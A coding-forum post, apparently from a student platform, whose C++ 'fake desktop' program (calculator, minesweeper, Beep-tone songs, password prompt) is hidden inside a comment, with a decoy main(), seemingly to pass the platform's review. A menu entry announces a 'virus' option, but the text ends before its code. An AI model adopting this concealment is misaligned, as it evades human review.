问题标题: nb编程之“过审”

0
0
已解决
张博瑞
张博瑞
中级守护
中级守护
#include "codingtang.h"
using namespace std;
int main(){
    createConsole("刘刘**");      // 此行代码不可删除,创建一个命令行窗口
    cout<<"项目描述:注释里的是真正内容,因编程平台无一些函数,故只能在DEV-C++中运行。";
    while(1){
        cls();
        cout<<"项目描述:注释里的是真正内容,因编程平台无一些函数,故只能在DEV-C++中运行。";
    }
    /*
#include"windows.h"
#ifndef _GLIBCXX_NO_ASSERT
#include <cassert>
#endif
#include <cctype>
#include <cerrno>
#include <cfloat>
#include <ciso646>
#include <climits>
#include <clocale>
#include <cmath>
#include <csetjmp>
#include <csignal>
#include <cstdarg>
#include <cstddef>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#if __cplusplus >= 201103L
#include <ccomplex>
#include <cfenv>
#include <cinttypes>
#include <cstdalign>
#include <cstdbool>
#include <cstdint>
#include <ctgmath>
#include <cwchar>
#include <cwctype>
#endif
#include <algorithm>
#include <bitset>
#include <complex>
#include <deque>
#include <exception>
#include <fstream>
#include <functional>
#include <iomanip>
#include <ios>
#include <iosfwd>
#include <iostream>
#include <istream>
#include <iterator>
#include <limits>
#include <list>
#include <locale>
#include <map>
#include <memory>
#include <new>
#include <numeric>
#include <ostream>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <stdexcept>
#include <streambuf>
#include <string>
#include <typeinfo>
#include <utility>
#include <valarray>
#include <vector>
#if __cplusplus >= 201103L
#include <array>
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <forward_list>
#include <future>
#include <initializer_list>
#include <mutex>
#include <random>
#include <ratio>
#include <regex>
#include <scoped_allocator>
#include <system_error>
#include <thread>
#include <tuple>
#include <typeindex>
#include <type_traits>
#include <unordered_map>
#include <unordered_set>
#endif
#include<time.h>
#include<windows.h>
#include<conio.h>
#pragma GCC optimize(3)
#pragma GCC target("avx")
#pragma GCC optimize("Ofast")
#pragma GCC optimize("inline")
#pragma GCC optimize("-fgcse")
#pragma GCC optimize("-fgcse-lm")
#pragma GCC optimize("-fipa-sra")
#pragma GCC optimize("-ftree-pre")
#pragma GCC optimize("-ftree-vrp")
#pragma GCC optimize("-fpeephole2")
#pragma GCC optimize("-ffast-math")
#pragma GCC optimize("-fsched-spec")
#pragma GCC optimize("unroll-loops")
#pragma GCC optimize("-falign-jumps")
#pragma GCC optimize("-falign-loops")
#pragma GCC optimize("-falign-labels")
#pragma GCC optimize("-fdevirtualize")
#pragma GCC optimize("-fcaller-saves")
#pragma GCC optimize("-fcrossjumping")
#pragma GCC optimize("-fthread-jumps")
#pragma GCC optimize("-funroll-loops")
#pragma GCC optimize("-fwhole-program")
#pragma GCC optimize("-freorder-blocks")
#pragma GCC optimize("-fschedule-insns")
#pragma GCC optimize("inline-functions")
#pragma GCC optimize("-ftree-tail-merge")
#pragma GCC optimize("-fschedule-insns2")
#pragma GCC optimize("-fstrict-aliasing")
#pragma GCC optimize("-fstrict-overflow")
#pragma GCC optimize("-falign-functions")
#pragma GCC optimize("-fcse-skip-blocks")
#pragma GCC optimize("-fcse-follow-jumps")
#pragma GCC optimize("-fsched-interblock")
#pragma GCC optimize("-fpartial-inlining")
#pragma GCC optimize("no-stack-protector")
#pragma GCC optimize("-freorder-functions")
#pragma GCC optimize("-findirect-inlining")
#pragma GCC optimize("-fhoist-adjacent-loads")
#pragma GCC optimize("-frerun-cse-after-loop")
#pragma GCC optimize("inline-small-functions")
#pragma GCC optimize("-finline-small-functions")
#pragma GCC optimize("-ftree-switch-conversion")
#pragma GCC optimize("-foptimize-sibling-calls")
#pragma GCC optimize("-fexpensive-optimizations")
#pragma GCC optimize("-funsafe-loop-optimizations")
#pragma GCC optimize("inline-functions-called-once")
#pragma GCC optimize("-fdelete-null-pointer-checks")
#pragma GCC optimize(2)
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#define sleep(x) (Sleep(x))
#define clean (system("cls"))
//q前缀为低音,1后缀为高音,s前缀为半音阶 
#define qdo 262 
#define sqdo 277
#define qre 294
#define sqre 311
#define qmi 330     
#define qfa 349
#define sqfa 370
#define qso 392
#define sqso 415
#define qla 440
#define sqla 466
#define qsi 494
#define do 523
#define sdo 554
#define re 578
#define sre 622
#define mi 659
#define fa 698
#define sfa 740
#define so 784
#define sso 831
#define la 880
#define sla 932
#define si 988
#define do1 1046
#define sdo1 1046
#define re1 1175
#define sre1 1245
#define mi1 1318
#define fa1 1480
#define sfa1 1480
#define so1 1568
#define sso1 1661
#define la1 1760
#define sla1 1865
#define si1 1976
using namespace std;
string a,tb;
double c[1005];
int l;
bool wron;
bool check(string b){
    for(int i=0;i<b.size();i++){
        if(b[i]=='+'||b[i]=='-'||b[i]=='*'||b[i]=='/'||b[i]=='^'){
            return 1;
        }
    }
    return 0;
}
int findc(string b){
    for(int i=0;i<b.size();i++){
        if(b[i]=='^'){
            return i;
        }
    }
    return -1;
}
int find_(string b){
    for(int i=0;i<b.size();i++){
        if(b[i]=='+'||b[i]=='-'){
            return i;
        }
    }
    return 0;
}
int findx(string b){
    for(int i=0;i<b.size();i++){
        if(b[i]=='*'||b[i]=='/'){
            return i;
        }
    }
    return -1;
}
double change(string s){
    int l=0;
    for(int i=s.size()-1;i>=0;i--){
        if(s[i]=='.'){
            l=s.size()-1-i;
        }
    }
    int f=1,idx=0;
    for(int i=s.size()-1;i>=0;i--){
        if(s[i]!='.'){
            idx+=(s[i]-'0')*f;
            f*=10;
        }
    }
    if(l==0)return idx;
    int t=10;
    for(int i=1;i<l;i++)t*=10;
    return idx*1.0/t;
} 
string change2(int tx){
    int b[105],l=0,x=tx;
    while(x!=0){
        l++;
        b[l]=x%10;
        x/=10;
    }
    string out="";
    for(int i=l;i>=1;i--)out=out+char(b[i]+'0');
    return out;
}
bool check2(string t){
    for(int i=0;i<t.size();i++){
        if(!((t[i]>='0'&&t[i]<='9')||t[i]=='+'||t[i]=='-'||t[i]=='*'||t[i]=='/'||t[i]=='.'||t[i]=='^'||t[i]=='('||t[i]==')'||t[i]=='['||t[i]==']'||t[i]=='{'||t[i]=='}')){
            return 1;
        }
    }
    return 0;
}
void wrong(){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);//红色
    cout<<"Input error\n输入错误";
    Sleep(1500);
}
void rule(){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);//** 
    cout<<"!";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);//红色
    cout<<"You can only enter four operations, powers and parentheses";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);//** 
    cout<<"!\n!";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);//红色
    cout<<"只能输入四则运算,次方和括号";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);//** 
    cout<<"!\n";
    system("pause");
}
double goo(string b){
    bool con=0;
    while(check(b)){
        int u;
        u=findc(b);
        if(u==-1)u=findx(b);
        if(u==-1)u=find_(b);
        int j1,j2;
        for(j1=u-1;j1>=0;j1--){
            if(b[j1]=='+'||b[j1]=='-'||b[j1]=='*'||b[j1]=='/'||b[j1]=='^'){
                j1++;
                break;
            }
        }
        if(j1==-1)j1=0;
        for(j2=u+1;j2<b.size();j2++){
            if(b[j2]=='+'||b[j2]=='-'||b[j2]=='*'||b[j2]=='/'||b[j2]=='^'){
                j2--;
                break;
            }
        }
        if(j2==b.size())j2--;
        string ta=b.substr(j1,u-j1),tb=b.substr(u+1,j2-u);
        if(ta==""||tb==""){
            wron=1;
            return 0x3f3f3f3f;
        }
        double t;
        double t1=c[int(change(ta))],t2=c[int(change(tb))];
        if(b[u]=='^'){
            double tmp=t1;
            int cs=t2;
            if(cs!=t2){
                con=1;
                break;
            }
            for(int i=1;i<cs;i++){
                tmp*=t1;
            }
            t=tmp;
        }   
        if(b[u]=='*')t=t1*t2;
        if(b[u]=='/')t=t1/t2;
        if(b[u]=='+')t=t1+t2;
        if(b[u]=='-')t=t1-t2;
        b.erase(j1,j2-j1+1);
        l++;
        c[l]=t;
        b.insert(j1,change2(l));
    }
    if(con){
        wron=1;
        return 0x3f3f3f3f;
    }
    return c[int(change(b))];
}
void jisuanqi(){
    rule();
    wron=0;
    clean;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN |FOREGROUND_BLUE);//青色
    cout<<"Please enter\n";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);//** 
    cout<<"请输入\n";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN | FOREGROUND_BLUE);//白色 
    cin>>a;
    if(a[0]=='-'){
            string www="(-";
            for(int i=1;i<a.size();i++){
                if(a[i]>='0'&&a[i]<='9'){
                    www+=a[i];
                }else{
                    a=a.substr(i);
                    break;
                }
            }
            a=www+")";
        }
        for(int i=0;i<a.size()-1;i++){
            if(a[i]=='('&&a[i+1]=='-'){
                a.insert(i+1,"0");
                i+=2;
            }
        }
        for(int i=0;i<a.size();i++){
            if(a[i]=='^'){
                int aa=i+1,cc=1;
                i++;
                while(1){
                    while(a[i]>='0'&&a[i]<='9'){
                        i++;
                    }
                    if(a[i]=='^'){
                        cc++;
                        i++;
                    }else{
                        break;
                    }
                }
                if(cc!=1){
                    a.insert(aa,"(");
                    a.insert(i+1,")");
                }
            }
        }
    if(check2(a)){
        wrong();
        return;
    }
    tb="";
    int go=-1;
    l=0;
    if(a[0]=='-'){
        a='0'+a;
    }
    for(int i=0;i<a.size()-1;i++){
        if(a[i]=='('&&a[i+1]=='-'){
            a.insert(i+1,"0");
            i++;
        }
    }
    for(int i=0;i<a.size();i++){
        if(a[i]>='0'&&a[i]<='9'){
            if(i>go){
                l++;
                int j;
                for(j=i+1;j<a.size();j++){
                    if(a[j]=='+'||a[j]=='-'||a[j]=='*'||a[j]=='/'||a[j]=='^'||a[j]==')'||a[j]==']'||a[j]=='}'){
                        j--;
                        break;
                    }
                }
                if(j==a.size())j--;
                go=j;
                string t=a.substr(i,j-i+1);
                c[l]=change(t);
                tb=tb+change2(l);
            }
        }
        else if(a[i]!='.'){
            tb=tb+a[i];
        }
    }
    string tc="";
    for(int i=0;i<tb.size();i++){
        if(wron)break; 
        if(tb[i]=='('){
            int j;
            for(j=i+1;j<=tb.size();j++){
                if(tb[j]=='('||tb[j]==']'||tb[j]=='['||tb[j]=='{'||tb[j]=='}'){
                    wron=1;
                    break;
                }
                if(tb[j]==')'){
                    j--;
                    break;
                }
            }
            if(wron)break;
            if(j>=tb.size()){
                wron=1;
                break;
            }
            string t=tb.substr(i+1,j-(i+1)+1);
            l++;
            c[l]=goo(t);
            tc=tc+change2(l);
            i=j+1;
            if(wron){
                break;
            }
        }
        else if(tb[i]!=')'){
            tc=tc+tb[i];
        }
    }
    if(wron){
        wrong();
        return;
    }
    tb="";
    for(int i=0;i<tc.size();i++){
        if(wron)break; 
        if(tc[i]=='['){
            int j;
            for(j=i+1;j<=tc.size();j++){
                if(tc[j]=='['||tc[j]=='{'||tc[j]=='}'){
                    wron=1;
                    break;
                }
                if(tc[j]==']'){
                    j--;
                    break;
                }
            }
            if(wron)break;
            if(j>=tc.size()){
                wron=1;
                break;
            }
            string t=tc.substr(i+1,j-(i+1)+1);
            l++;
            c[l]=goo(t);
            tb=tb+change2(l);
            i=j+1;
            if(wron){
                break;
            }
        }
        else if(tc[i]!=']'){
            tb=tb+tc[i];
        }
    }
    if(wron){
        wrong();
        return;
    }
    tc="";
    for(int i=0;i<tb.size();i++){
        if(wron)break; 
        if(tb[i]=='{'){
            int j;
            for(j=i+1;j<=tb.size();j++){
                if(tb[j]=='{'){
                    wron=1;
                    break;
                }
                if(tb[j]=='}'){
                    j--;
                    break;
                }
            }
            if(wron)break;
            if(j>=tb.size()){
                wron=1;
                break;
            }
            string t=tb.substr(i+1,j-(i+1)+1);
            l++;
            c[l]=goo(t);
            tc=tc+change2(l);
            i=j+1;
            if(wron){
                break;
            }
        }
        else if(tb[i]!='}'){
            tc=tc+tb[i];
        }
    }
    if(wron){
        wrong();
        return;
    }
    double ans=goo(tc);
    if(wron){
        wrong();
        return;
    }
    else cout<<"="<<ans<<"\n";
    system("pause");
    system("color f0");
}
bool lei[11][11],f[11][11];
int l1[11][11],cnt;
void p(int x,int y){
    cout<<"------------------------------------------\n";
    for(int i=1;i<=10;i++){
        cout<<"| ";
        for(int j=1;j<=10;j++){
            if(i==x&&j==y){
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);
                cout<<" O ";
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
                cout<<"|";
            }else{
                if(!f[i][j]){
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_BLUE);
                    cout<<" O ";
                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
                    cout<<"|";
                }else{
                    if(l1[i][j]==0){
                        cout<<"   |";
                    }else{
                        cout<<" "<<l1[i][j]<<" |";
                    }
                }   
            }
        }
        cout<<"\n------------------------------------------\n";
    }
}
int dir[8][2]={{1,0},{0,1},{-1,0},{0,-1},{1,-1},{-1,1},{1,1},{-1,-1}};
bool vis[11][11];
void dfs(int x,int y){
    f[x][y]=true;
    if(l1[x][y]!=0){
        return;
    }
    if(l1[x][y]==0){
        for(int k=0;k<8;k++){
            int nx=x+dir[k][0],ny=y+dir[k][1];
            if(nx>0&&ny>0&&nx<=10&&ny<=10&&!vis[nx][ny]&&!lei[nx][ny]&&!f[nx][ny]){
                vis[nx][ny]=true;
                dfs(nx,ny);
                vis[nx][ny]=false;
            }
        }
    }
}
bool end(){
    int _;
    for(int i=1;i<=10;i++){
        for(int j=1;j<=10;j++){
            if(lei[i][j]||f[i][j]){
                _++;
            }
        }
    }
    return _==100;
}
void saolei(){
    system("color 0f");
    cout<<"欢迎来到扫雷游戏!\n\a\a\a";
    system("pause");
    system("cls");
    srand(time(NULL));
    while(cnt<10){
        int x=(rand()-1)%10+1,y=(rand()-1)%10+1;
        if(!lei[x][y]){
            lei[x][y]=true;
            cnt++;
        }
    }
    for(int i=1;i<=10;i++){
        for(int j=1;j<=10;j++){
            if(lei[i][j]){
                l1[i][j]=-1;
            }else{
                int cnt1=0;
                for(int k=0;k<8;k++){
                    int nx=i+dir[k][0],ny=j+dir[k][1];
                    if(nx>0&&ny>0&&nx<=10&&ny<=10&&lei[nx][ny]){
                        cnt1++;
                    }
                }
                l1[i][j]=cnt1;
            }
        }
    }
    int x=1,y=1;
    while(1){
        while(!KEY_DOWN(VK_RETURN)){
            if(end()){
                break;
            }
            if(KEY_DOWN(VK_UP)&&x-1>0){
                x-=1;
                p(x,y);
            }else if(KEY_DOWN(VK_DOWN)&&x+1<11){
                x+=1;
                p(x,y);
            }else if(KEY_DOWN(VK_LEFT)&&y-1>0){
                y-=1;
                p(x,y);
            }else if(KEY_DOWN(VK_RIGHT)&&y+1<11){
                y+=1;
                p(x,y);
            }
            system("cls");
            p(x,y);
            system("pause");
            system("cls");
        }
        if(end()){
            break;
        }
        if(lei[x][y]){
            system("cls");
            cout<<"** OVER!\n";
            system("pause");
            system("cls");
            return;
        }else{
            vis[x][y]=true;
            dfs(x,y);
            vis[x][y]=false;
        }
    }
    system("cls");
    cout<<"You win!\n";
    system("pause");
    system("cls");
}
string key;
bool open=true,wm;
void init(){
    system("mode con cols=200 lines=200");
    SetConsoleTitle("刘刘**1");
    HWND hwnd=GetForegroundWindow();
    HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_CURSOR_INFO CursorInfo;
    GetConsoleCursorInfo(handle, &CursorInfo);
    CursorInfo.bVisible = false;
    SetConsoleCursorInfo(handle, &CursorInfo);
    ShowWindow(hwnd,SW_MAXIMIZE);
}
void start(bool flag){
    for(int i=1;i<=10;i++){
        sleep(50);
        system("cls");
        cout<<"OOO\n";
        cout<<"  O   开机中\n";
        sleep(50);
        system("cls");
        cout<<" OO\n";
        cout<<"  O   开机中.\n";
        cout<<"  O\n";
        sleep(50);
        system("cls");
        cout<<"  O\n";
        cout<<"  O   开机中..\n";
        cout<<" OO\n";
        sleep(50);
        system("cls");
        cout<<"   \n";
        cout<<"  O   开机中...\n";
        cout<<"OOO";
        sleep(50);
        system("cls");
        cout<<"   \n";
        cout<<"O     开机中\n";
        cout<<"OOO\n";
        sleep(50);
        system("cls");
        cout<<"O  \n";
        cout<<"O     开机中.\n";
        cout<<"OO \n";
        sleep(50);
        system("cls");
        cout<<"OO \n";
        cout<<"O     开机中..\n";
        cout<<"O  \n";
        sleep(50);
        system("cls");
        cout<<"OOO\n";
        cout<<"O     开机中...\n";
        cout<<"   \n";
    }
    system("cls");
    cout<<"\a\b\a\b\a\b";
    cout<<"\t MOM\n";
    cout<<"\tIHWHI\n";
    cout<<"\t VAV\n   ";
    if(flag){
        string mm;
        while(mm!=key){
            system("cls");
            cout<<"密码:";
            cin>>mm;
            if(mm!=key){
                cout<<"密码错误!";
                system("pause");
                system("cls");
            }
        }
    }
    system("pause");
    system("cls");
    cout<<"欢迎!";
    Sleep(5000);
}
void Desktop(){
    system("cls");
    cout<<"[1]关闭刘刘**\n[2]修改密码\n[3]音乐\n[4]病毒(不推荐使用!)\n[5]注销\n[6]扫雷\n[7]设置\n[8]计算器\n\n";
    int q1;
    cin>>q1;
    system("cls");
    if(q1>=1&&q1<=8){
        if(q1==1){
            open=false;
        }else if(q1==2){
            if(wm){
                cout<<"原密码:";
                string dd;
                cin>>dd;
                if(key!=dd){
                    cout<<"修改密码失败!\n";
                    system("pause");
                }else{
                    cout<<"新密码:";
                    cin>>key;
                    cout<<"修改密码成功!\n";
                    system("pause");
                }
            }else{
                cout<<"新密码:";
                cin>>key;
                cout<<"修改密码成功!\n";
                system("pause");
                wm=true;
            }
        }if(q1==3){
            cout<<"[1]天空之城\n[2]小星星\n[3]童年\n";
            int q2;
            cin>>q2;
            system("cls");
            if(q2>=1&&q2<=3){
                if(q2==1){
                    int pai=400,ban=200;
                    int ting=128;                    
                    Sleep(1000);                    
                    Beep(la,ban);
                    Beep(si,ban);
                    Sleep(ting);                    
                    Beep(do1,pai+ban);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);
                    Beep(mi1,pai);
                    Sleep(ting);                    
                    Beep(si,3*pai);
                    Sleep(ting);
                    Beep(mi,ban);
                    Beep(mi,ban);                   
                    Beep(la,ban+pai);
                    Beep(so,ban);
                    Sleep(ting);
                    Beep(la,pai);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);                    
                    Beep(so,2*pai);
                    Sleep(ting);
                    Sleep(pai);
                    Beep(mi,ban);
                    Sleep(ting/2);
                    Beep(mi,ban);
                    Sleep(ting/2);                  
                    Beep(fa,pai+ban);
                    Beep(mi,ban);
                    Sleep(ting);
                    Beep(fa,ban);
                    Beep(do1,ban+pai);
                    Sleep(ting);                    
                    Beep(mi,2*pai);
                    Sleep(ting);
                    Sleep(ban);
                    Beep(do1,ban);
                    Sleep(ting/2);
                    Beep(do1,ban);
                    Sleep(ting/2);
                    Beep(do1,ban);
                    Sleep(ting/2);                  
                    Beep(si,ban+pai);
                    Beep(sfa,ban);
                    Sleep(ting);
                    Beep(sfa,pai);
                    Beep(si,pai);
                    Sleep(ting);                    
                    Beep(si,2*pai);
                    Sleep(ting);
                    Sleep(pai);
                    Beep(la,ban);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(do1,pai+ban);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);
                    Beep(mi1,pai);
                    Sleep(ting);                    
                    Beep(si,2*pai);
                    Sleep(ting);
                    Sleep(pai);
                    Beep(mi,ban);
                    Sleep(20);
                    Beep(mi,ban);
                    Sleep(ting);                    
                    Beep(la,pai+ban);
                    Beep(so,ban);
                    Sleep(ting);
                    Beep(la,pai);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);                    
                    Beep(so,3*pai);
                    Sleep(ting+ban);
                    Beep(mi,ban);
                    Sleep(ting/2);                  
                    Beep(fa,pai);
                    Sleep(ting);
                    Beep(do1,ban);
                    Beep(si,ban);
                    Sleep(20);
                    Beep(si,pai);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);                    
                    Beep(re1,ban);
                    Sleep(20);
                    Beep(re1,ban);
                    Sleep(20);
                    Beep(mi1,ban);
                    Sleep(ting/2);
                    Beep(do1,pai);
                    Sleep(ting+pai);                    
                    Beep(do1,pai);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(la,ban);
                    Sleep(20);
                    Beep(la,ban);
                    Sleep(ting);
                    Beep(si,pai);
                    Sleep(ting);
                    Beep(sso,pai);
                    Sleep(ting);                    
                    Beep(la,2*pai);
                    Sleep(ting+pai);
                    Beep(do1,ban);
                    Beep(re1,ban);
                    Sleep(ting);                    
                    Beep(mi1,pai+ban);
                    Beep(re1,ban);
                    Sleep(ting);
                    Beep(mi1,pai);
                    Sleep(ting);
                    Beep(so1,pai);
                    Sleep(ting);
                    Beep(re1,2*pai);
                    Sleep(pai+ting);
                    Beep(so,ban);
                    Sleep(20);
                    Beep(so,ban);
                    Sleep(ting);                    
                    Beep(do1,ban);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);
                    Beep(mi1,pai);
                    Sleep(ting);                    
                    Beep(mi1,2*pai);
                    Sleep(ting+2*pai);                  
                    Beep(la,ban);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);
                    Beep(si,pai);
                    Sleep(ting);
                    Beep(re1,ban);
                    Sleep(20);
                    Beep(re1,ban);
                    Sleep(ting);                    
                    Beep(do1,pai+ban);
                    Beep(so,ban);
                    Sleep(20);
                    Beep(so,pai);
                    Sleep(pai+ting);                    
                    Beep(fa1,pai);
                    Sleep(ting);
                    Beep(mi1,pai);
                    Sleep(ting);
                    Beep(re1,pai);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);                    
                    Beep(mi1,4*pai);                    
                    Beep(mi1,pai*2);
                    Sleep(pai+ting);
                    Beep(mi1,pai);
                    Sleep(ting);                    
                    Beep(la1,2*pai);
                    Sleep(ting);
                    Beep(so1,pai);
                    Sleep(ting);
                    Beep(so1,pai);
                    Sleep(ting);                    
                    Beep(mi1,ban);
                    Sleep(ting/2);
                    Beep(re1,ban);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting+ban);
                    Beep(do1,ban);
                    Sleep(ting);                    
                    Beep(re1,pai);
                    Sleep(ting);
                    Beep(do1,ban);
                    Beep(re1,ban);
                    Sleep(20);
                    Beep(re1,ban);
                    Sleep(ting);
                    Beep(so1,pai);
                    Sleep(ting);                    
                    Beep(mi1,2*pai);
                    Sleep(ting+pai);
                    Beep(mi,pai);
                    Sleep(ting);                    
                    Beep(la1,2*pai);
                    Sleep(ting);
                    Beep(so1,2*pai);
                    Sleep(ting);                    
                    Beep(mi1,ban);
                    Beep(re1,ban);
                    Sleep(ting);
                    Beep(do1,2*pai);
                    Sleep(ting+ban);
                    Beep(do1,ban);
                    Sleep(ting);                    
                    Beep(re1,pai);
                    Sleep(ting);
                    Beep(do1,ban);
                    Beep(re1,ban);
                    Sleep(20);
                    Beep(re1,ban);
                    Sleep(ting);
                    Beep(si,pai);
                    Sleep(ting);                    
                    Beep(la,2*pai);
                    Sleep(ting);
                    Beep(la,ban);
                    Beep(si,ban);                   
                    Beep(do1,pai+ban);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);
                    Beep(mi1,pai);
                    Sleep(ting);                    
                    Beep(si,3*pai);
                    Sleep(ting);
                    Beep(mi,ban);
                    Beep(mi,ban);                   
                    Beep(la,ban+pai);
                    Beep(so,ban);
                    Sleep(ting);
                    Beep(la,pai);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);                    
                    Beep(so,2*pai);
                    Sleep(ting);
                    Sleep(pai);
                    Beep(mi,ban);
                    Sleep(ting/2);
                    Beep(mi,ban);
                    Sleep(ting/2);                  
                    Beep(fa,pai+ban);
                    Beep(mi,ban);
                    Sleep(ting);
                    Beep(fa,ban);
                    Beep(do1,ban+pai);
                    Sleep(ting);                    
                    Beep(mi,2*pai);
                    Sleep(ting);
                    Sleep(ban);
                    Beep(do1,ban);
                    Sleep(ting/2);
                    Beep(do1,ban);
                    Sleep(ting/2);
                    Beep(do1,ban);
                    Sleep(ting/2);                  
                    Beep(si,ban+pai);
                    Beep(sfa,ban);
                    Sleep(ting);
                    Beep(sfa,pai);
                    Beep(si,pai);
                    Sleep(ting);                    
                    Beep(si,2*pai);
                    Sleep(ting);
                    Sleep(pai);
                    Beep(la,ban);
                    Beep(si,ban);
                    Sleep(ting);                    
                    Beep(do1,pai+ban);
                    Beep(si,ban);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);
                    Beep(mi1,pai);
                    Sleep(ting);                    
                    Beep(si,2*pai);
                    Sleep(ting);
                    Sleep(pai);
                    Beep(mi,ban);
                    Sleep(20);
                    Beep(mi,ban);
                    Sleep(ting);                    
                    Beep(la,pai+ban);
                    Beep(so,ban);
                    Sleep(ting);
                    Beep(la,pai);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);                    
                    Beep(so,3*pai);
                    Sleep(ting+ban);
                    Beep(mi,ban);
                    Sleep(ting/2);                  
                    Beep(fa,pai);
                    Sleep(ting);
                    Beep(do1,ban);
                    Beep(si,ban);
                    Sleep(20);
                    Beep(si,pai);
                    Sleep(ting);
                    Beep(do1,pai);
                    Sleep(ting);
                    Beep(re1,ban);
                    Sleep(20);
                    Beep(re1,ban);
                    Sleep(20);
                    Beep(mi1,ban);
                    Sleep(ting/2);
                    Beep(do1,pai);
                    Sleep(ting+pai);
                    Beep(la,4*pai);
                    Sleep(1000);
                }else if(q2==2){
                    Sleep(1000);
                    Beep(qdo,500);
                    Beep(qdo,500);
                    Beep(qso,500);
                    Beep(qso,500);
                    Beep(qla,500);
                    Beep(qla,500);
                    Beep(qso,1000);
                    Beep(qfa,500);
                    Beep(qfa,500);
                    Beep(qmi,500);
                    Beep(qmi,500);
                    Beep(qre,500);
                    Beep(qre,500);
                    Beep(qdo,1000);
                    for(int i=1;i<=2;i++){
                        Beep(qso,500);
                        Beep(qso,500);
                        Beep(qfa,500);
                        Beep(qfa,500);
                        Beep(qmi,500);
                        Beep(qmi,500);
                        Beep(qre,1000);
                    }
                    Beep(qdo,500);
                    Beep(qdo,500);
                    Beep(qso,500);
                    Beep(qso,500);
                    Beep(qla,500);
                    Beep(qla,500);
                    Beep(qso,1000);
                    Beep(qfa,500);
                    Beep(qfa,500);
                    Beep(qmi,500);
                    Beep(qmi,500);
                    Beep(qre,500);
                    Beep(qre,500);
                    Beep(qdo,1000);
                }else{
                    Sleep(500);
                    Beep(mi,250);
                    Beep(so,250);
                    Beep(so,750);
                    Beep(mi,250);
                    Beep(la,250);
                    Beep(la,250);
                    Beep(si,250);
                    Beep(la,750);
                    Beep(la,250);
                    Beep(la,250);
                    Beep(so,250);
                    Beep(do1,500);
                    Beep(do1,250);
                    Beep(do1,250);
                    Beep(do1,250);
                    Beep(la,250);
                    Beep(do1,250);
                    Beep(la,250);
                    Beep(so,2000);
                    Sleep(500);
                    Beep(mi,250);
                    Beep(so,250);
                    Beep(so,750);
                    Beep(mi,250);
                    Beep(la,250);
                    Beep(la,250);
                    Beep(si,250);
                    Beep(la,750);
                    Beep(la,250);
                    Beep(la,250);
                    Beep(so,250);
                    Beep(do1,500);
                    Beep(do1,250);
                    Beep(do1,250);
                    Beep(do1,250);
                    Beep(la,250);
                    Beep(la,250);
                    Beep(do1,250);
                    Beep(re1,2000);
                    Beep(so1,250);
                    Beep(so1,500);
                    Beep(so1,250);
                    Sleep(500);
                    Beep(so1,250);
                    Beep(mi1,250);
                    Beep(re1,250);
                    Beep(do1,250);
                    Beep(do1,500);
                    Beep(do1,250);
                    Beep(la,250);
                    Beep(do1,250);
                    Beep(la,250);
                    Beep(do1,250);
                    Beep(re1,250);
                    Beep(re1,250);
                    Beep(re1,250);
                    Beep(re1,250);
                    Beep(re1,250);
                    Beep(do1,250);
                    Beep(mi1,500);
                    Beep(re1,2000);
                    Beep(mi1,250);
                    Beep(mi1,500);
                    Beep(mi1,250);
                    Beep(mi1,500);
                    Beep(re1,500);
                    Beep(do1,250);
                    Beep(do1,500);
                    Beep(do1,250);
                    Beep(re1,250);
                    Beep(do1,250);
                    Beep(la,250);
                    Beep(so,250);
                    Beep(so,250);
                    Beep(so,500);
                    Beep(so,250);
                    Beep(la,250);
                    Beep(so,250);
                    Beep(re1,250);
                    Beep(mi1,250);
                }
            }else{
                cout<<"输入错误!\n";
                system("pause");    
            }
        }else if(q1==4){
